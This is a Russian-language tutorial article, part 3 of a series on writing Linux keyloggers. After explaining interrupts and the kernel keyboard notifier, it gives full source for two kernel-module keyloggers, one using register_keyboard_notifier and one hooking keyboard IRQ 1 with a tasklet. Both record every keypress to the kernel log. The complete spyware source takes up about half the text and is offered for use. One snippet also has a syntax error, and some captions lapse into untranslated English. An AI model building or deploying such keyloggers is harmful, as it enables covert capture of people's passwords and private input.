Пишем кейлоггер на Linux: часть 3

Пишем кейлоггер на Linux: часть 3

В первой и второй частях мы писали про то, как написать кейлоггер, работающий в пользовательской среде Linux. А в этой статье мы рассмотрим методы перехвата событий клавиатуры в ядре Linux.

image

Как работает клавиатура в Linux?

Ниже приведена схема работы ОС с клавиатурой:


Ядро устанавливает обработчики прерываний, заполняя таблицу дескрипторов прерываний и передавая ее процессору (чтобы процессор знал, какую процедуру вызывать для любого заданного прерывания). Ядро также предоставляет систему уведомлений клавиатуры, которая принимает объекты **notifier_block** от других модулей ядра и вызывает соответствующие callback-функции на каждое событие клавиатуры.

Обработка прерываний

Что такое прерывания?

Прерывание — это событие, которое изменяет нормальный ход выполнения программы и может генерироваться аппаратными устройствами или даже самим ЦП. Процессор получает прерывание и дает сигнал операционной системе о том, что ОС может обработать новые данные.

Прерывания можно разделить на две категории в зависимости от источника прерывания:

- синхронный, генерируется выполнением инструкции
- асинхронный, генерируемый внешним событием

Или же,

- маскируемый

  • можно игнорировать
  • сигнализируется через вывод INT

- немаскируемый

  • нельзя игнорировать
  • сигнализируется через вывод NMI

Аппаратные прерывания

Как правило, устройства, вызывающие прерывания, не связаны напрямую с CPU. Аппаратное обеспечение использует программируемый контроллер прерываний (PIC), который помогает центральному процессору, принимая прерывания от нескольких устройств и передавая их CPU в нужном формате. Выглядит это так:


Но в реальности обычно используется несколько улучшенных программируемых контроллера прерываний (APIC). Один из них взаимодействует с тепловыми датчиками, таймерами и т.д. Другие – с устройствами ввода и вывода. Выглядит это примерно так:


Внешние устройства взаимодействуют с I/O APIC, который принимает от них прерывания и передает их ядру процессора для обработки. Это происходит примерно следующим образом:

  • Устройство вызывает IRQ (запрос на прерывание) для запуска прерывания;
  • APIC преобразует IRQ в векторное число и записывает его в порт для чтения ядром ЦП;
  • APIC вызывает прерывание на выводе INTR.
  • APIC ожидает, пока ЦП подтвердит прерывание, прежде чем инициировать другое прерывание;
  • ЦП подтверждает прерывание, затем начинает обрабатывать его.

Программные прерывания

Хотя прерывания могут обрабатываться на уровне устройства и PIC/APIC, мы ограничимся обработкой на уровне ЦП. Когда процессор получает запрос на прерывание, он делает следующее:

  • Проверяет текущую привилегию выполнения;
  • Если необходимо изменить привилегию, переключает на стек с требуемой привилегией. Информация старого стека копируется в новый стек;
  • Делает резервную копию состояния процессора для переключения контекста (регистры, коды ошибок и т.д.); и меняется контекст;
  • Просматривает регистр IDTR, чтобы найти местоположение IDT;
  • Использует номер вектора прерывания в качестве ключа, и находит начальный адрес соответствующего обработчика, используя таблицу переходов в IDT и преобразования адресов;
  • Запускает обработчик прерывания;
  • Выполняет возврат из обработчика прерывания:
    • Восстанавливает регистры и коды ошибок
    • Переключается обратно на предыдущую привилегию

В Linux прерывания обычно обрабатываются в три этапа (оне все обработчики прерываний будут иметь все три этапа):

  1. Ядро отключит локальные прерывания и подтвердит запрос прерывания. Ядро запустит общий обработчик прерывания, который определит номер прерывания, обработчик прерывания для этого конкретного прерывания и контроллер прерывания. Почему это необходимо? Потому что один и тот же запрос на прерывание может использоваться несколькими устройствами. Такие прерывания называются общими прерываниями.
  2. Будут выполнены все связанные обработчики из соответствующих драйверов устройств. В конце этой цепочки вызывается специальный «конец прерывания»; так что управление может быть повторно подтверждено контроллером прерываний. На этом этапе прерывания локального процессора остаются отключенными.
  3. На этом этапе будут разрешены локальные прерывания на процессоре. Здесь будут выполняться все действия контекста отложенного прерывания.

Отложенные действия используются для запуска функций обратного вызова в более позднее время. Если отложенные действия запланированы обработчиком прерывания, соответствующая функция обратного вызова будет запущена после завершения обработчика прерывания.

Keyboard Notifier

Keyboard notifier вызывает callback-функции и передает данные в виде структуры **keyboard_notifier_param**, которая выглядит так:

struct keyboard_notifier_param {
struct vc_data *vc;
int down;
int shift;
int ledstate;
unsigned int value;
};

Список переменных структуры:

  • vc – виртуальная консоль, для которой применяется событие клавиатуры;
  • down – 1 для нажатия клавиши, 0 для отпускания клавиши;
  • shift – текущее состояние модификатора, индексы битов маски - KG_*;
  • Значения, зависящие от типа события:
    1. **KBD_KEYCODE** – события всегда посылаются перед другими событиями;
    2. **KBD_UNBOUND_KEYCODE** – события посылаются, если код клавиши не связан с символом клавиши (keysym);
    3. **KBD_UNICODE** – события посылаются, если при переводе из keycode в keysym был получен Unicode-символ;
    4. **KBD_KEYSYM** – события посылаются, если при переводе из keycode в keysym был получен не Unicode-символ;
    5. **KBD_POST_KEYSYM** – события посылаются после обработки keysym не в Unicode.

Перехват событий клавиатуры в ядре

Существует два способа перехвата клавиатурных событий в ядре:

  1. С помощью Keyboard Notifier:
    • Создайте блок keyboard notifier;
    • Проверьте наличие события KBD_KEYCODE в callback-функции и извлеките код клавиши;
    • Преобразуйте извлеченный код клавиш в читаемую строку.

    Callback-функция для проверки события выглядит так:

    int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
    {
        char keybuf[12] = {0};
        struct keyboard_notifier_param *param = _param;
     
        if (!(param->down)) return NOTIFY_OK;
     
        keycode_to_string(param->value, param->shift, keybuf, 12);
     
        if (strlen(keybuf); < 1) return NOTIFY_OK;
     
        printk(KERN_INFO "Keylog: %s", keybuf);
     
        return NOTIFY_OK;
    }

    Этот обработчик может быть запущен во время загрузки (и выключен во время выгрузки), как показано ниже:

    static struct notifier_block keysniffer_blk = {
            .notifier_call = keyboard_event_handler,
    };
     
    static int __init keylogger_init(void)
    {
            register_keyboard_notifier(&keysniffer_blk);
            return 0;
    }
     
    static void __exit keylogger_exit(void)
    {
            unregister_keyboard_notifier(&keysniffer_blk);
    }
  2. С помощью собственного IRQ. Его логика будет выглядеть так:
    • Запуск обработчика;
    • Перехват кода символа с клавиатуры;
    • Сопоставление кода символа с названием клавиши;
    • Запись расшифрованного кода.

    Но теперь возникает проблема: протоколирование не должно выполняться как часть самого обработчика запроса. Тут нам пригодятся отложенные действия: у нас будет отложенное действие, которое будет регистрировать перехваченные данные за нас. Как только обработчик прерывания сделает свою работу, мы используем тасклет – функцию, выполняемую в контексте прерывания.

    Поскольку мы работаем на очень низком уровне, нам также придется самостоятельно заниматься извлечением кода клавиш.

    Базовый IRQ будет выглядеть так:

    irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
    {
        scancode = inb(0x60);
        return (irq_handler_t)IRQ_HANDLED;
    }
    The tasklet can be defined as shown below:
    void tasklet_logger(unsigned long dummy)
    {
        ...
    }
     
    DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);
    Now we can register our tasklet and IRQ handlers as shown below:
    irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
    {
        data.scancode = inb(0x60);
        tasklet_schedule(&my_tasklet);
        return (irq_handler_t)IRQ_HANDLED;
    }
     
    static int __init kb_init(void)
    {
        int ret;
     
        ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
        if(ret != 0){
                printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
        }
     
        return ret;
    }
     
    static void __exit kb_exit(void)
    {
        tasklet_kill(&my_tasklet);
        free_irq(KB_IRQ, &data);
    }
    

Самое вкусное – полный исходный код!

Кейлоггер с использованием keyboard notifier:

#include <linux/module.h>
#include <linux/keyboard.h>
#include <linux/input.h>
 
MODULE_LICENSE("GPL");
 
static const char *us_keymap[][2] = {
    {"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},       // 0-3
    {"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},                 // 4-7
    {"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},                 // 8-11
    {"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"},         // 12-14
    {"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
    {"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},                 // 20-23
    {"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},                 // 24-27
    {"\n", "\n"}, {"_LCTRL_", "_LCTRL_"}, {"a", "A"}, {"s", "S"},   // 28-31
    {"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},                 // 32-35
    {"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},                 // 36-39
    {"'", "\""}, {"`", "~"}, {"_LSHIFT_", "_LSHIFT_"}, {"\\", "|"}, // 40-43
    {"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},                 // 44-47
    {"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},                 // 48-51
    {".", ">"}, {"/", "?"}, {"_RSHIFT_", "_RSHIFT_"}, {"_PRTSCR_", "_KPD*_"},
    {"_LALT_", "_LALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
    {"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},         // 60-63
    {"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},         // 64-67
    {"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"},   // 68-70
    {"_KPD7_", "_HOME_"}, {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, // 71-73
    {"-", "-"}, {"_KPD4_", "_LEFT_"}, {"_KPD5_", "_KPD5_"},         // 74-76
    {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},         // 77-79
    {"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, // 80-82
    {"_KPD._", "_DEL_"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"},      // 83-85
    {"\0", "\0"}, {"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"},     // 86-89
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
    {"\0", "\0"}, {"_KPENTER_", "_KPENTER_"}, {"_RCTRL_", "_RCTRL_"}, {"/", "/"},
    {"_PRTSCR_", "_PRTSCR_"}, {"_RALT_", "_RALT_"}, {"\0", "\0"},   // 99-101
    {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, {"_PGUP_", "_PGUP_"},   // 102-104
    {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
    {"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"},   // 108-110
    {"_DEL_", "_DEL_"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},   // 111-114
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},         // 115-118
    {"_PAUSE_", "_PAUSE_"},                                         // 119
};
 
void keycode_to_string(int keycode, int shift_mask, char *buf, unsigned int buf_size)
{
    if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE)
    {
        const char *us_key = (shift_mask == 1)
                                ? us_keymap[keycode][1]
                                : us_keymap[keycode][0];
 
        snprintf(buf, buf_size, "%s", us_key);
    }
}
 
int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
    char keybuf[12] = {0};
    struct keyboard_notifier_param *param = _param;
 
    if (!(param->down)) return NOTIFY_OK;
 
    keycode_to_string(param->value, param->shift, keybuf, 12);
 
    if (strlen(keybuf) < 1) return NOTIFY_OK;
 
    printk(KERN_INFO "Keylog: %s", keybuf);
 
    return NOTIFY_OK;
}
 
static struct notifier_block keysniffer_blk = {
    .notifier_call = keyboard_event_handler,
};
 
static int __init keylogger_init(void)
{
    register_keyboard_notifier(&keysniffer_blk);
    return 0;
}
 
static void __exit keylogger_exit(void)
{
    unregister_keyboard_notifier(&keysniffer_blk);
}
 
module_init(keylogger_init);
module_exit(keylogger_exit);

Кейлоггер с использованием IRQ:

#include <linux/module.h>
#include <linux/interrupt.h>
#include <asm/io.h>
#include <linux/string.h>

#define KB_IRQ 1

struct logger_data{
unsigned char scancode;
} data;

void tasklet_logger(unsigned long dummy)
{
static int shift = 0;

char buf[32];
memset(buf, 0, sizeof(buf));
switch(data.scancode){
default: return;

case 1: strcpy(buf, "(ESC)"); break;
case 2: strcpy(buf, (shift) ? "!" : "1"); break;
case 3: strcpy(buf, (shift) ? "@" : "2"); break;
case 4: strcpy(buf, (shift) ? "#" : "3"); break;
case 5: strcpy(buf, (shift) ? "$" : "4"); break;
case 6: strcpy(buf, (shift) ? "%" : "5"); break;
case 7: strcpy(buf, (shift) ? "^" : "6"); break;
case 8: strcpy(buf, (shift) ? "&" : "7"); break;
case 9: strcpy(buf, (shift) ? "*" : "8"); break;
case 10: strcpy(buf, (shift) ? "(" : "9"); break;
case 11: strcpy(buf, (shift) ? ")" : "0"); break;
case 12: strcpy(buf, (shift) ? "_" : "-"); break;
case 13: strcpy(buf, (shift) ? "+" : "="); break;
case 14: strcpy(buf, "(BACK)"); break;
case 15: strcpy(buf, "(TAB)"); break;
case 16: strcpy(buf, (shift) ? "Q" : "q"); break;
case 17: strcpy(buf, (shift) ? "W" : "w"); break;
case 18: strcpy(buf, (shift) ? "E" : "e"); break;
case 19: strcpy(buf, (shift) ? "R" : "r"); break;
case 20: strcpy(buf, (shift) ? "T" : "t"); break;
case 21: strcpy(buf, (shift) ? "Y" : "y"); break;
case 22: strcpy(buf, (shift) ? "U" : "u"); break;
case 23: strcpy(buf, (shift) ? "I" : "i"); break;
case 24: strcpy(buf, (shift) ? "O" : "o"); break;
case 25: strcpy(buf, (shift) ? "P" : "p"); break;
case 26: strcpy(buf, (shift) ? "{" : "["); break;
case 27: strcpy(buf, (shift) ? "}" : "]"); break;
case 28: strcpy(buf, "(ENTER)"); break;
case 29: strcpy(buf, "(CTRL)"); break;
case 30: strcpy(buf, (shift) ? "A" : "a"); break;
case 31: strcpy(buf, (shift) ? "S" : "s"); break;
case 32: strcpy(buf, (shift) ? "D" : "d"); break;
case 33: strcpy(buf, (shift) ? "F" : "f"); break;
case 34: strcpy(buf, (shift) ? "G" : "g"); break;
case 35: strcpy(buf, (shift) ? "H" : "h"); break;
case 36: strcpy(buf, (shift) ? "J" : "j"); break;
case 37: strcpy(buf, (shift) ? "K" : "k"); break;
case 38: strcpy(buf, (shift) ? "L" : "l"); break;
case 39: strcpy(buf, (shift) ? ":" : ";"); break;
case 40: strcpy(buf, (shift) ? "\"" : "'"); break;
case 41: strcpy(buf, (shift) ? "~" : "`"); break;
case 42:
case 54: shift = 1; break;
case 170:
case 182: shift = 0; break;
case 44: strcpy(buf, (shift) ? "Z" : "z"); break;
case 45: strcpy(buf, (shift) ? "X" : "x"); break;
case 46: strcpy(buf, (shift) ? "C" : "c"); break;
case 47: strcpy(buf, (shift) ? "V" : "v"); break;
case 48: strcpy(buf, (shift) ? "B" : "b"); break;
case 49: strcpy(buf, (shift) ? "N" : "n"); break;
case 50: strcpy(buf, (shift) ? "M" : "m"); break;
case 51: strcpy(buf, (shift) ? "<" : ","); break;
case 52: strcpy(buf, (shift) ? ">" : "."); break;
case 53: strcpy(buf, (shift) ? "?" : "/"); break;
case 56: strcpy(buf, "(R-ALT"); break;
case 55:
case 57:
case 58:
case 59:
case 60:
case 61:
case 62:
case 63:
case 64:
case 65:
case 66:
case 67:
case 68:
case 70:
case 71:
case 72: strcpy(buf, " "); break;
case 83:
strcpy(buf, "(DEL)"); break;
}
printk(KERN_INFO "keylogger log: %s", buf);
}

DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);

irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
data.scancode = inb(0x60);

tasklet_schedule(&my_tasklet);
return (irq_handler_t)IRQ_HANDLED;
}

static int __init kb_init(void)
{
int ret;
printk(KERN_INFO "keylogger: initializing...");

ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
if(ret != 0){
printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
}

printk(KERN_INFO "keylogger: initialization complete.");

return ret;
}

static void __exit kb_exit(void)
{
tasklet_kill(&my_tasklet);

free_irq(KB_IRQ, &data);

printk(KERN_INFO "keylogger: unloaded.");
}

MODULE_LICENSE("GPL");

module_init(kb_init);
module_exit(kb_exit);

Мир сходит с ума, но еще не поздно все исправить. Подпишись на канал SecLabnews и внеси свой вклад в предотвращение киберапокалипсиса!